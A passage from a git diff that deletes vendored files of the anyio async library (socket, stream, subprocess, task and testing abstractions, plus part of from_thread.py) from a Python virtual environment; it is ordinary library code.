OSError: - bound_addr = None - - if not bound_addr: - raise ValueError("the socket must be bound to a local address") - - if addr_family != socket.AF_UNSPEC and sock.family != addr_family: - raise ValueError( - f"address family mismatch: expected {addr_family.name}, got " - f"{sock.family.name}" - ) - - if sock.type != sock_type: - raise ValueError( - f"socket type mismatch: expected {sock_type.name}, got {sock.type.name}" - ) - except BaseException: - # Avoid ResourceWarning from the locally constructed socket object - if isinstance(sock_or_fd, int): - sock.detach() - - raise - - sock.setblocking(False) - return sock - - -class SocketAttribute(TypedAttributeSet): - """ - .. attribute:: family - :type: socket.AddressFamily - - the address family of the underlying socket - - .. attribute:: local_address - :type: tuple[str, int] | str - - the local address the underlying socket is connected to - - .. attribute:: local_port - :type: int - - for IP based sockets, the local port the underlying socket is bound to - - .. attribute:: raw_socket - :type: socket.socket - - the underlying stdlib socket object - - .. attribute:: remote_address - :type: tuple[str, int] | str - - the remote address the underlying socket is connected to - - .. attribute:: remote_port - :type: int - - for IP based sockets, the remote port the underlying socket is connected to - """ - - family: AddressFamily = typed_attribute() - local_address: SockAddrType = typed_attribute() - local_port: int = typed_attribute() - raw_socket: socket.socket = typed_attribute() - remote_address: SockAddrType = typed_attribute() - remote_port: int = typed_attribute() - - -class _SocketProvider(TypedAttributeProvider): - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - from .._core._sockets import convert_ipv6_sockaddr as convert - - attributes: dict[Any, Callable[[], Any]] = { - SocketAttribute.family: lambda: self._raw_socket.family, - SocketAttribute.local_address: lambda: convert( - self._raw_socket.getsockname() - ), - SocketAttribute.raw_socket: lambda: self._raw_socket, - } - try: - peername: tuple[str, int] | None = convert(self._raw_socket.getpeername()) - except OSError: - peername = None - - # Provide the remote address for connected sockets - if peername is not None: - attributes[SocketAttribute.remote_address] = lambda: peername - - # Provide local and remote ports for IP based sockets - if self._raw_socket.family in (AddressFamily.AF_INET, AddressFamily.AF_INET6): - attributes[SocketAttribute.local_port] = lambda: ( - self._raw_socket.getsockname()[1] - ) - if peername is not None: - remote_port = peername[1] - attributes[SocketAttribute.remote_port] = lambda: remote_port - - return attributes - - @property - @abstractmethod - def _raw_socket(self) -> socket.socket: - pass - - -class SocketStream(ByteStream, _SocketProvider): - """ - Transports bytes over a socket. - - Supports all relevant extra attributes from :class:`~SocketAttribute`. - """ - - @classmethod - async def from_socket(cls, sock_or_fd: socket.socket | int) -> SocketStream: - """ - Wrap an existing socket object or file descriptor as a socket stream. - - The newly created socket wrapper takes ownership of the socket being passed in. - The existing socket must already be connected. - - :param sock_or_fd: a socket object or file descriptor - :return: a socket stream - - """ - sock = _validate_socket(sock_or_fd, socket.SOCK_STREAM, require_connected=True) - return await get_async_backend().wrap_stream_socket(sock) - - -class UNIXSocketStream(SocketStream): - @classmethod - async def from_socket(cls, sock_or_fd: socket.socket | int) -> UNIXSocketStream: - """ - Wrap an existing socket object or file descriptor as a UNIX socket stream. - - The newly created socket wrapper takes ownership of the socket being passed in. - The existing socket must already be connected. - - :param sock_or_fd: a socket object or file descriptor - :return: a UNIX socket stream - - """ - sock = _validate_socket( - sock_or_fd, socket.SOCK_STREAM, socket.AF_UNIX, require_connected=True - ) - return await get_async_backend().wrap_unix_stream_socket(sock) - - @abstractmethod - async def send_fds(self, message: bytes, fds: Collection[int | IOBase]) -> None: - """ - Send file descriptors along with a message to the peer. - - :param message: a non-empty bytestring - :param fds: a collection of files (either numeric file descriptors or open file - or socket objects) - """ - - @abstractmethod - async def receive_fds(self, msglen: int, maxfds: int) -> tuple[bytes, list[int]]: - """ - Receive file descriptors along with a message from the peer. - - :param msglen: length of the message to expect from the peer - :param maxfds: maximum number of file descriptors to expect from the peer - :return: a tuple of (message, file descriptors) - """ - - -class SocketListener(Listener[SocketStream], _SocketProvider): - """ - Listens to incoming socket connections. - - Supports all relevant extra attributes from :class:`~SocketAttribute`. - """ - - @classmethod - async def from_socket( - cls, - sock_or_fd: socket.socket | int, - ) -> SocketListener: - """ - Wrap an existing socket object or file descriptor as a socket listener. - - The newly created listener takes ownership of the socket being passed in. - - :param sock_or_fd: a socket object or file descriptor - :return: a socket listener - - """ - sock = _validate_socket(sock_or_fd, socket.SOCK_STREAM, require_bound=True) - return await get_async_backend().wrap_listener_socket(sock) - - @abstractmethod - async def accept(self) -> SocketStream: - """Accept an incoming connection.""" - - async def serve( - self, - handler: Callable[[SocketStream], Any], - task_group: TaskGroup | None = None, - ) -> None: - from .. import create_task_group - - async with AsyncExitStack() as stack: - if task_group is None: - task_group = await stack.enter_async_context(create_task_group()) - - while True: - stream = await self.accept() - task_group.start_soon(handler, stream) - - -class UDPSocket(UnreliableObjectStream[UDPPacketType], _SocketProvider): - """ - Represents an unconnected UDP socket. - - Supports all relevant extra attributes from :class:`~SocketAttribute`. - """ - - @classmethod - async def from_socket(cls, sock_or_fd: socket.socket | int) -> UDPSocket: - """ - Wrap an existing socket object or file descriptor as a UDP socket. - - The newly created socket wrapper takes ownership of the socket being passed in. - The existing socket must be bound to a local address. - - :param sock_or_fd: a socket object or file descriptor - :return: a UDP socket - - """ - sock = _validate_socket(sock_or_fd, socket.SOCK_DGRAM, require_bound=True) - return await get_async_backend().wrap_udp_socket(sock) - - async def sendto(self, data: bytes, host: str, port: int) -> None: - """ - Alias for :meth:`~.UnreliableObjectSendStream.send` ((data, (host, port))). - - """ - return await self.send((data, (host, port))) - - -class ConnectedUDPSocket(UnreliableObjectStream[bytes], _SocketProvider): - """ - Represents an connected UDP socket. - - Supports all relevant extra attributes from :class:`~SocketAttribute`. - """ - - @classmethod - async def from_socket(cls, sock_or_fd: socket.socket | int) -> ConnectedUDPSocket: - """ - Wrap an existing socket object or file descriptor as a connected UDP socket. - - The newly created socket wrapper takes ownership of the socket being passed in. - The existing socket must already be connected. - - :param sock_or_fd: a socket object or file descriptor - :return: a connected UDP socket - - """ - sock = _validate_socket( - sock_or_fd, - socket.SOCK_DGRAM, - require_connected=True, - ) - return await get_async_backend().wrap_connected_udp_socket(sock) - - -class UNIXDatagramSocket( - UnreliableObjectStream[UNIXDatagramPacketType], _SocketProvider -): - """ - Represents an unconnected Unix datagram socket. - - Supports all relevant extra attributes from :class:`~SocketAttribute`. - """ - - @classmethod - async def from_socket( - cls, - sock_or_fd: socket.socket | int, - ) -> UNIXDatagramSocket: - """ - Wrap an existing socket object or file descriptor as a UNIX datagram - socket. - - The newly created socket wrapper takes ownership of the socket being passed in. - - :param sock_or_fd: a socket object or file descriptor - :return: a UNIX datagram socket - - """ - sock = _validate_socket(sock_or_fd, socket.SOCK_DGRAM, socket.AF_UNIX) - return await get_async_backend().wrap_unix_datagram_socket(sock) - - async def sendto(self, data: bytes, path: str) -> None: - """Alias for :meth:`~.UnreliableObjectSendStream.send` ((data, path)).""" - return await self.send((data, path)) - - -class ConnectedUNIXDatagramSocket(UnreliableObjectStream[bytes], _SocketProvider): - """ - Represents a connected Unix datagram socket. - - Supports all relevant extra attributes from :class:`~SocketAttribute`. - """ - - @classmethod - async def from_socket( - cls, - sock_or_fd: socket.socket | int, - ) -> ConnectedUNIXDatagramSocket: - """ - Wrap an existing socket object or file descriptor as a connected UNIX datagram - socket. - - The newly created socket wrapper takes ownership of the socket being passed in. - The existing socket must already be connected. - - :param sock_or_fd: a socket object or file descriptor - :return: a connected UNIX datagram socket - - """ - sock = _validate_socket( - sock_or_fd, socket.SOCK_DGRAM, socket.AF_UNIX, require_connected=True - ) - return await get_async_backend().wrap_connected_unix_datagram_socket(sock) diff --git a/venv/Lib/site-packages/anyio/abc/_streams.py b/venv/Lib/site-packages/anyio/abc/_streams.py deleted file mode 100644 index 34ebfc1c0fa6f533e0621ac25659e13ffd5d7508..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/abc/_streams.py +++ /dev/null @@ -1,235 +0,0 @@ -from __future__ import annotations - -from abc import ABCMeta, abstractmethod -from collections.abc import Callable -from typing import Any, Generic, TypeAlias, TypeVar - -from .._core._exceptions import EndOfStream -from .._core._typedattr import TypedAttributeProvider -from ._resources import AsyncResource -from ._tasks import TaskGroup - -T_Item = TypeVar("T_Item") -T_co = TypeVar("T_co", covariant=True) -T_contra = TypeVar("T_contra", contravariant=True) - - -class UnreliableObjectReceiveStream( - Generic[T_co], AsyncResource, TypedAttributeProvider -): - """ - An interface for receiving objects. - - This interface makes no guarantees that the received messages arrive in the order in - which they were sent, or that no messages are missed. - - Asynchronously iterating over objects of this type will yield objects matching the - given type parameter. - """ - - def __aiter__(self) -> UnreliableObjectReceiveStream[T_co]: - return self - - async def __anext__(self) -> T_co: - try: - return await self.receive() - except EndOfStream: - raise StopAsyncIteration from None - - @abstractmethod - async def receive(self) -> T_co: - """ - Receive the next item. - - :raises ~anyio.ClosedResourceError: if the receive stream has been explicitly - closed - :raises ~anyio.EndOfStream: if this stream has been closed from the other end - :raises ~anyio.BrokenResourceError: if this stream has been rendered unusable - due to external causes - """ - - -class UnreliableObjectSendStream( - Generic[T_contra], AsyncResource, TypedAttributeProvider -): - """ - An interface for sending objects. - - This interface makes no guarantees that the messages sent will reach the - recipient(s) in the same order in which they were sent, or at all. - """ - - @abstractmethod - async def send(self, item: T_contra) -> None: - """ - Send an item to the peer(s). - - :param item: the item to send - :raises ~anyio.ClosedResourceError: if the send stream has been explicitly - closed - :raises ~anyio.BrokenResourceError: if this stream has been rendered unusable - due to external causes - """ - - -class UnreliableObjectStream( - UnreliableObjectReceiveStream[T_Item], UnreliableObjectSendStream[T_Item] -): - """ - A bidirectional message stream which does not guarantee the order or reliability of - message delivery. - """ - - -class ObjectReceiveStream(UnreliableObjectReceiveStream[T_co]): - """ - A receive message stream which guarantees that messages are received in the same - order in which they were sent, and that no messages are missed. - """ - - -class ObjectSendStream(UnreliableObjectSendStream[T_contra]): - """ - A send message stream which guarantees that messages are delivered in the same order - in which they were sent, without missing any messages in the middle. - """ - - -class ObjectStream( - ObjectReceiveStream[T_Item], - ObjectSendStream[T_Item], - UnreliableObjectStream[T_Item], -): - """ - A bidirectional message stream which guarantees the order and reliability of message - delivery. - """ - - @abstractmethod - async def send_eof(self) -> None: - """ - Send an end-of-file indication to the peer. - - You should not try to send any further data to this stream after calling this - method. This method is idempotent (does nothing on successive calls). - """ - - -class ByteReceiveStream(AsyncResource, TypedAttributeProvider): - """ - An interface for receiving bytes from a single peer. - - Iterating this byte stream will yield a byte string of arbitrary length, but no more - than 65536 bytes. - """ - - def __aiter__(self) -> ByteReceiveStream: - return self - - async def __anext__(self) -> bytes: - try: - return await self.receive() - except EndOfStream: - raise StopAsyncIteration from None - - @abstractmethod - async def receive(self, max_bytes: int = 65536) -> bytes: - """ - Receive at most ``max_bytes`` bytes from the peer. - - .. note:: Implementers of this interface should not return an empty - :class:`bytes` object, and users should ignore them. - - :param max_bytes: maximum number of bytes to receive (must be a positive - integer) - :return: the received bytes - :raises ValueError: if ``max_bytes`` is less than 1 - :raises ~anyio.EndOfStream: if this stream has been closed from the other end - """ - - -class ByteSendStream(AsyncResource, TypedAttributeProvider): - """An interface for sending bytes to a single peer.""" - - @abstractmethod - async def send(self, item: bytes) -> None: - """ - Send the given bytes to the peer. - - :param item: the bytes to send - """ - - -class ByteStream(ByteReceiveStream, ByteSendStream): - """A bidirectional byte stream.""" - - @abstractmethod - async def send_eof(self) -> None: - """ - Send an end-of-file indication to the peer. - - You should not try to send any further data to this stream after calling this - method. This method is idempotent (does nothing on successive calls). - """ - - -#: Type alias for all unreliable bytes-oriented receive streams. -AnyUnreliableByteReceiveStream: TypeAlias = ( - UnreliableObjectReceiveStream[bytes] | ByteReceiveStream -) -#: Type alias for all unreliable bytes-oriented send streams. -AnyUnreliableByteSendStream: TypeAlias = ( - UnreliableObjectSendStream[bytes] | ByteSendStream -) -#: Type alias for all unreliable bytes-oriented streams. -AnyUnreliableByteStream: TypeAlias = UnreliableObjectStream[bytes] | ByteStream -#: Type alias for all bytes-oriented receive streams. -AnyByteReceiveStream: TypeAlias = ObjectReceiveStream[bytes] | ByteReceiveStream -#: Type alias for all bytes-oriented send streams. -AnyByteSendStream: TypeAlias = ObjectSendStream[bytes] | ByteSendStream -#: Type alias for all bytes-oriented streams. -AnyByteStream: TypeAlias = ObjectStream[bytes] | ByteStream - - -class Listener(Generic[T_co], AsyncResource, TypedAttributeProvider): - """An interface for objects that let you accept incoming connections.""" - - @abstractmethod - async def serve( - self, handler: Callable[[T_co], Any], task_group: TaskGroup | None = None - ) -> None: - """ - Accept incoming connections as they come in and start tasks to handle them. - - :param handler: a callable that will be used to handle each accepted connection - :param task_group: the task group that will be used to start tasks for handling - each accepted connection (if omitted, an ad-hoc task group will be created) - """ - - -class ObjectStreamConnectable(Generic[T_co], metaclass=ABCMeta): - @abstractmethod - async def connect(self) -> ObjectStream[T_co]: - """ - Connect to the remote endpoint. - - :return: an object stream connected to the remote end - :raises ConnectionFailed: if the connection fails - """ - - -class ByteStreamConnectable(metaclass=ABCMeta): - @abstractmethod - async def connect(self) -> ByteStream: - """ - Connect to the remote endpoint. - - :return: a bytestream connected to the remote end - :raises ConnectionFailed: if the connection fails - """ - - -#: Type alias for all connectables returning bytestreams or bytes-oriented object streams -AnyByteStreamConnectable: TypeAlias = ( - ObjectStreamConnectable[bytes] | ByteStreamConnectable -) diff --git a/venv/Lib/site-packages/anyio/abc/_subprocesses.py b/venv/Lib/site-packages/anyio/abc/_subprocesses.py deleted file mode 100644 index ce0564ceac8aac425675b5c8f7f7205d08061fd3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/abc/_subprocesses.py +++ /dev/null @@ -1,79 +0,0 @@ -from __future__ import annotations - -from abc import abstractmethod -from signal import Signals - -from ._resources import AsyncResource -from ._streams import ByteReceiveStream, ByteSendStream - - -class Process(AsyncResource): - """An asynchronous version of :class:`subprocess.Popen`.""" - - @abstractmethod - async def wait(self) -> int: - """ - Wait until the process exits. - - :return: the exit code of the process - """ - - @abstractmethod - def terminate(self) -> None: - """ - Terminates the process, gracefully if possible. - - On Windows, this calls ``TerminateProcess()``. - On POSIX systems, this sends ``SIGTERM`` to the process. - - .. seealso:: :meth:`subprocess.Popen.terminate` - """ - - @abstractmethod - def kill(self) -> None: - """ - Kills the process. - - On Windows, this calls ``TerminateProcess()``. - On POSIX systems, this sends ``SIGKILL`` to the process. - - .. seealso:: :meth:`subprocess.Popen.kill` - """ - - @abstractmethod - def send_signal(self, signal: Signals) -> None: - """ - Send a signal to the subprocess. - - .. seealso:: :meth:`subprocess.Popen.send_signal` - - :param signal: the signal number (e.g. :data:`signal.SIGHUP`) - """ - - @property - @abstractmethod - def pid(self) -> int: - """The process ID of the process.""" - - @property - @abstractmethod - def returncode(self) -> int | None: - """ - The return code of the process. If the process has not yet terminated, this will - be ``None``. - """ - - @property - @abstractmethod - def stdin(self) -> ByteSendStream | None: - """The stream for the standard input of the process.""" - - @property - @abstractmethod - def stdout(self) -> ByteReceiveStream | None: - """The stream for the standard output of the process.""" - - @property - @abstractmethod - def stderr(self) -> ByteReceiveStream | None: - """The stream for the standard error output of the process.""" diff --git a/venv/Lib/site-packages/anyio/abc/_tasks.py b/venv/Lib/site-packages/anyio/abc/_tasks.py deleted file mode 100644 index 44ee3a70028b609e0c264b10ef5cee2127437fee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/abc/_tasks.py +++ /dev/null @@ -1,209 +0,0 @@ -from __future__ import annotations - -import sys -from abc import ABCMeta, abstractmethod -from collections.abc import Callable, Coroutine -from contextvars import Context -from types import TracebackType -from typing import TYPE_CHECKING, Any, Literal, Protocol, final, overload - -if sys.version_info >= (3, 13): - from typing import TypeVar -else: - from typing_extensions import TypeVar - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from typing_extensions import TypeVarTuple, Unpack - -if TYPE_CHECKING: - from .._core._tasks import CancelScope, TaskHandle - -T_co = TypeVar("T_co", covariant=True) -T_contra = TypeVar("T_contra", contravariant=True, default=None) -PosArgsT = TypeVarTuple("PosArgsT") - - -def get_callable_name(func: Callable, override: object = None) -> str: - if override is not None: - return str(override) - - module = getattr(func, "__module__", None) - qualname = getattr(func, "__qualname__", None) - return ".".join([x for x in (module, qualname) if x]) - - -def call_for_coroutine( - func: Callable[[Unpack[PosArgsT]], Coroutine[Any, Any, T_co]], - args: tuple[Unpack[PosArgsT]], - **kwargs: Any, -) -> Coroutine[Any, Any, T_co]: - """ - Call the given function with the given positional and keyword arguments. - - :return: the resulting coroutine - :raises TypeError: if the return value was not a coroutine object - - """ - coro = func(*args, **kwargs) - if not isinstance(coro, Coroutine): - prefix = f"{func.__module__}." if hasattr(func, "__module__") else "" - raise TypeError( - f"Expected {prefix}{func.__qualname__}() to return a coroutine, but " - f"the return value ({coro!r}) is not a coroutine object" - ) - - return coro - - -class TaskStatus(Protocol[T_contra]): - @overload - def started(self: TaskStatus[None]) -> None: ... - - @overload - def started(self, value: T_contra) -> None: ... - - def started(self, value: T_contra | None = None) -> None: - """ - Signal that the task has started. - - :param value: object passed back to the starter of the task - """ - - -class TaskGroup(metaclass=ABCMeta): - """ - Groups several asynchronous tasks together. - - :ivar cancel_scope: the cancel scope inherited by all child tasks - :vartype cancel_scope: CancelScope - - .. note:: On asyncio, support for eager task factories is considered to be - **experimental**. In particular, they don't follow the usual semantics of new - tasks being scheduled on the next iteration of the event loop, and may thus - cause unexpected behavior in code that wasn't written with such semantics in - mind. - """ - - cancel_scope: CancelScope - - def cancel(self, reason: str | None = None) -> None: - """ - Cancel this task group's cancel scope immediately. - - This is a shortcut for calling ``.cancel_scope.cancel()`` on the task group. - - :param reason: a message describing the reason for the cancellation - - .. versionadded:: 4.14.0 - - """ - self.cancel_scope.cancel(reason) - - @abstractmethod - def create_task( - self, - coro: Coroutine[Any, Any, T_co], - *, - name: object = None, - context: Context | None = None, - ) -> TaskHandle[T_co]: - """ - Create a new task from a coroutine object and schedule it to run. - - :param coro: a coroutine object - :param name: optional name to give the task - :param context: optional context to run the task in - :return: a task handle - - .. versionadded:: 4.14.0 - """ - - @final - def start_soon( - self, - func: Callable[[Unpack[PosArgsT]], Coroutine[Any, Any, T_co]], - *args: Unpack[PosArgsT], - name: object = None, - ) -> TaskHandle[T_co]: - """ - Start a new task in this task group. - - :param func: a coroutine function - :param args: positional arguments to call the function with - :param name: name of the task, for the purposes of introspection and debugging - :return: a task handle - - .. versionadded:: 3.0 - .. versionchanged:: 4.14.0 - This method now returns a task handle. - - """ - final_name = get_callable_name(func, name) - return self.create_task(call_for_coroutine(func, args), name=final_name) - - @overload - async def start( - self, - func: Callable[..., Coroutine[Any, Any, T_co]], - *args: object, - name: object = None, - return_handle: Literal[False] = ..., - ) -> Any: ... - - @overload - async def start( - self, - func: Callable[..., Coroutine[Any, Any, T_co]], - *args: object, - name: object = None, - return_handle: Literal[True], - ) -> TaskHandle[T_co, Any]: ... - - @abstractmethod - async def start( - self, - func: Callable[..., Coroutine[Any, Any, T_co]], - *args: object, - name: object = None, - return_handle: Literal[False] | Literal[True] = False, - ) -> Any: - """ - Start a new task and wait until it signals for readiness. - - The target callable must accept a keyword argument ``task_status`` (of type - :class:`TaskStatus`). Awaiting on this method will return whatever was passed to - ``task_status.started()`` (``None`` by default). - - .. note:: The :class:`TaskStatus` class is generic, and the type argument should - indicate the type of the value that will be passed to - ``task_status.started()``. - - :param func: a coroutine function that accepts the ``task_status`` keyword - argument - :param args: positional arguments to call the function with - :param name: an optional name for the task, for introspection and debugging - :param return_handle: if ``True``, return a :class:`TaskHandle` which also - contains the start value in ``start_value`` - :return: the value passed to ``task_status.started()`` - :raises RuntimeError: if the task finishes without calling - ``task_status.started()`` - - .. seealso:: :ref:`start_initialize` - - .. versionadded:: 3.0 - """ - - @abstractmethod - async def __aenter__(self) -> TaskGroup: - """Enter the task group context and allow starting new tasks.""" - - @abstractmethod - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - """Exit the task group context waiting for all tasks to finish.""" diff --git a/venv/Lib/site-packages/anyio/abc/_testing.py b/venv/Lib/site-packages/anyio/abc/_testing.py deleted file mode 100644 index 2a93fb7cc31533f08f5be52c0528e10147aaac57..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/abc/_testing.py +++ /dev/null @@ -1,73 +0,0 @@ -from __future__ import annotations - -import types -from abc import ABCMeta, abstractmethod -from collections.abc import AsyncGenerator, Callable, Coroutine, Iterable -from typing import Any, TypeVar - -_T = TypeVar("_T") - - -class TestRunner(metaclass=ABCMeta): - """ - Encapsulates a running event loop. Every call made through this object will use the - same event loop. - """ - - def __enter__(self) -> TestRunner: - return self - - @abstractmethod - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: types.TracebackType | None, - ) -> bool | None: ... - - @abstractmethod - def run_asyncgen_fixture( - self, - fixture_func: Callable[..., AsyncGenerator[_T, Any]], - kwargs: dict[str, Any], - ) -> Iterable[_T]: - """ - Run an async generator fixture. - - :param fixture_func: the fixture function - :param kwargs: keyword arguments to call the fixture function with - :return: an iterator yielding the value yielded from the async generator - """ - - @abstractmethod - def run_fixture( - self, - fixture_func: Callable[..., Coroutine[Any, Any, _T]], - kwargs: dict[str, Any], - ) -> _T: - """ - Run an async fixture. - - :param fixture_func: the fixture function - :param kwargs: keyword arguments to call the fixture function with - :return: the return value of the fixture function - """ - - @abstractmethod - def run_test( - self, test_func: Callable[..., Coroutine[Any, Any, Any]], kwargs: dict[str, Any] - ) -> None: - """ - Run an async test function. - - :param test_func: the test function - :param kwargs: keyword arguments to call the test function with - """ - - @abstractmethod - def is_running(self) -> bool: - """ - Check if the test runner is running. - - :return: ``True`` if the coroutine is currently being run, ``False`` otherwise. - """ diff --git a/venv/Lib/site-packages/anyio/from_thread.py b/venv/Lib/site-packages/anyio/from_thread.py deleted file mode 100644 index 8c7914c2ffff281fd5a0f0273e7d7f5d8a35e459..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/from_thread.py +++ /dev/null @@ -1,582 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "BlockingPortal", - "BlockingPortalProvider", - "check_cancelled", - "run", - "run_sync", - "start_blocking_portal", -) - -import sys -from collections.abc import Awaitable, Callable, Coroutine, Generator -from concurrent.futures import Future -from contextlib import ( - AbstractAsyncContextManager, - AbstractContextManager, - contextmanager, -) -from dataclasses import dataclass, field -from functools import partial -from inspect import isawaitable -from threading import Lock, Thread, current_thread, get_ident -from types import TracebackType -from typing import ( - Any, - Generic, - TypeVar, - cast, - overload, -) - -from ._core._eventloop import ( - get_cancelled_exc_class, - threadlocals, -) -from ._core._eventloop import run as run_eventloop -from ._core._exceptions import NoEventLoopError -from ._core._synchronization import Event -from ._core._tasks import CancelScope, create_task_group -from .abc._tasks import TaskStatus -from .lowlevel import EventLoopToken, current_token - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from typing_extensions import TypeVarTuple, Unpack - -T_Retval = TypeVar("T_Retval") -T_co = TypeVar("T_co", covariant=True) -PosArgsT = TypeVarTuple("PosArgsT") - - -def _token_or_error(token: EventLoopToken | None) -> EventLoopToken: - if token is not None: - return token - - try: - return threadlocals.current_token - except AttributeError: - raise NoEventLoopError( - "Not running inside an AnyIO worker thread, and no event loop token was " - "provided" - ) from None - - -def run( - func: Callable[[Unpack[PosArgsT]], Coroutine[Any, Any, T_co]], - *args: Unpack[PosArgsT], - token: EventLoopToken | None = None, -) -> T_co: - """ - Call a coroutine function from a worker thread. - - :param func: a coroutine function - :param args: positional arguments for the callable - :param token: an event loop token to use to get back to the event loop thread - (required if calling this function from outside an AnyIO worker thread) - :return: the return value of the coroutine function - :raises MissingTokenError: if no token was provided and called from outside an - AnyIO worker thread - :raises RunFinishedError: if the event loop tied to ``token`` is no longer running - - .. versionchanged:: 4.11.0 - Added the ``token`` parameter. - - """ - explicit_token = token is not None - token = _token_or_error(token) - return token.backend_class.run_async_from_thread( - func, args, token=token.native_token if explicit_token else None - ) - - -def run_sync( - func: Callable[[Unpack[PosArgsT]], T_Retval], - *args: Unpack[PosArgsT], - token: EventLoopToken | None = None, -) -> T_Retval: - """ - Call a function in the event loop thread from a worker thread. - - :param func: a callable - :param args: positional arguments for the callable - :param token: an event loop token to use to get back to the event loop thread - (required if calling this function from outside an AnyIO worker thread) - :return: the return value of the callable - :raises MissingTokenError: if no token was provided and called from outside an - AnyIO worker thread - :raises RunFinishedError: if the event loop tied to ``token`` is no longer running - - .. versionchanged:: 4.11.0 - Added the ``token`` parameter. - - """ - explicit_token = token is not None - token = _token_or_error(token) - return token.backend_class.run_sync_from_thread( - func, args, token=token.native_token if explicit_token else None - ) - - -class _BlockingAsyncContextManager(Generic[T_co], AbstractContextManager): - _enter_future: Future[T_co] - _exit_future: Future[bool | None] - _exit_event: Event - _exit_exc_info: tuple[ - type[BaseException] | None, BaseException | None, TracebackType | None - ] = (None, None, None) - - def __init__( - self, async_cm: AbstractAsyncContextManager[T_co], portal: BlockingPortal - ): - self._async_cm = async_cm - self._portal = portal - - async def run_async_cm(self) -> bool | None: - try: - self._exit_event = Event() - value = await self._async_cm.__aenter__() - except BaseException as exc: - self._enter_future.set_exception(exc) - raise - else: - self._enter_future.set_result(value) - - try: - # Wait for the sync context manager to exit. - # This next statement can raise `get_cancelled_exc_class()` if - # something went wrong in a task group in this async context - # manager. - await self._exit_event.wait() - finally: - # In case of cancellation, it could be that we end up here before - # `_BlockingAsyncContextManager.__exit__` is called, and an - # `_exit_exc_info` has been set. - result = await self._async_cm.__aexit__(*self._exit_exc_info) - - return result - - def __enter__(self) -> T_co: - self._enter_future = Future() - self._exit_future = self._portal.start_task_soon(self.run_async_cm) - return self._enter_future.result() - - def __exit__( - self, - __exc_type: type[BaseException] | None, - __exc_value: BaseException | None, - __traceback: TracebackType | None, - ) -> bool | None: - self._exit_exc_info = __exc_type, __exc_value, __traceback - self._portal.call(self._exit_event.set) - return self._exit_future.result() - - -class _BlockingPortalTaskStatus(TaskStatus): - def __init__(self, future: Future): - self._future = future - - def started(self, value: object = None) -> None: - self._future.set_result(value) - - -class BlockingPortal: - """ - An object that lets external threads run code in an asynchronous event loop. - - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - """ - - def __init__(self) -> None: - self._token = current_token() - self._event_loop_thread_id: int | None = get_ident() - self._stop_event = Event() - self._task_group = create_task_group() - - async def __aenter__(self) -> BlockingPortal: - await self._task_group.__aenter__() - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - await self.stop() - return await self._task_group.__aexit__(exc_type, exc_val, exc_tb) - - def _check_running(self) -> None: - if self._event_loop_thread_id is None: - raise RuntimeError("This portal is not running") - if self._event_loop_thread_id == get_ident(): - raise RuntimeError( - "This method cannot be called from the event loop thread" - ) - - async def sleep_until_stopped(self) -> None: - """Sleep until :meth:`stop` is called.""" - await self._stop_event.wait() - - async def stop(self, cancel_remaining: bool = False) -> None: - """ - Signal the portal to shut down. - - This marks the portal as no longer accepting new calls and exits from - :meth:`sleep_until_stopped`. - - :param cancel_remaining: ``True`` to cancel all the remaining tasks, ``False`` - to let them finish before returning - - """ - self._event_loop_thread_id = None - self._stop_event.set() - if cancel_remaining: - self._task_group.cancel_scope.cancel("the blocking portal is shutting down") - - async def _call_func( - self, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval] | T_Retval], - args: tuple[Unpack[PosArgsT]], - kwargs: dict[str, Any], - future: Future[T_Retval], - ) -> None: - event_loop_thread_id = self._event_loop_thread_id - - def callback(f: Future[T_Retval]) -> None: - if f.cancelled(): - if event_loop_thread_id == get_ident(): - scope.cancel("the future was cancelled") - elif event_loop_thread_id is not None: - run_sync( - scope.cancel, "the future was cancelled", token=self._token - ) - - try: - retval_or_awaitable = func(*args, **kwargs) - if isawaitable(retval_or_awaitable): - with CancelScope() as scope: - future.add_done_callback(callback) - retval = await retval_or_awaitable - else: - retval = retval_or_awaitable - except get_cancelled_exc_class(): - future.cancel() - future.set_running_or_notify_cancel() - except BaseException as exc: - if not future.cancelled(): - future.set_exception(exc) - - # Let base exceptions fall through - if not isinstance(exc, Exception): - raise - else: - if not future.cancelled(): - future.set_result(retval) - finally: - scope = None # type: ignore[assignment] - - def _spawn_task_from_thread( - self, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval] | T_Retval], - args: tuple[Unpack[PosArgsT]], - kwargs: dict[str, Any], - name: object, - future: Future[T_Retval], - ) -> None: - """ - Spawn a new task using the given callable. - - :param func: a callable - :param args: positional arguments to be passed to the callable - :param kwargs: keyword arguments to be passed to the callable - :param name: name of the task (will be coerced to a string if not ``None``) - :param future: a future that will resolve to the return value of the callable, - or the exception raised during its execution - - """ - run_sync( - partial(self._task_group.start_soon, name=name), - self._call_func, - func, - args, - kwargs, - future, - token=self._token, - ) - - @overload - def call( - self, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval]], - *args: Unpack[PosArgsT], - ) -> T_Retval: ... - - @overload - def call( - self, func: Callable[[Unpack[PosArgsT]], T_Retval], *args: Unpack[PosArgsT] - ) -> T_Retval: ... - - def call( - self, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval] | T_Retval], - *args: Unpack[PosArgsT], - ) -> T_Retval: - """ - Call the given function in the event loop thread. - - If the callable returns a coroutine object, it is awaited on. - - :param func: any callable - :raises RuntimeError: if the portal is not running or if this method is called - from within the event loop thread - - """ - return cast(T_Retval, self.start_task_soon(func, *args).result()) - - @overload - def start_task_soon( - self, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval]], - *args: Unpack[PosArgsT], - name: object = None, - ) -> 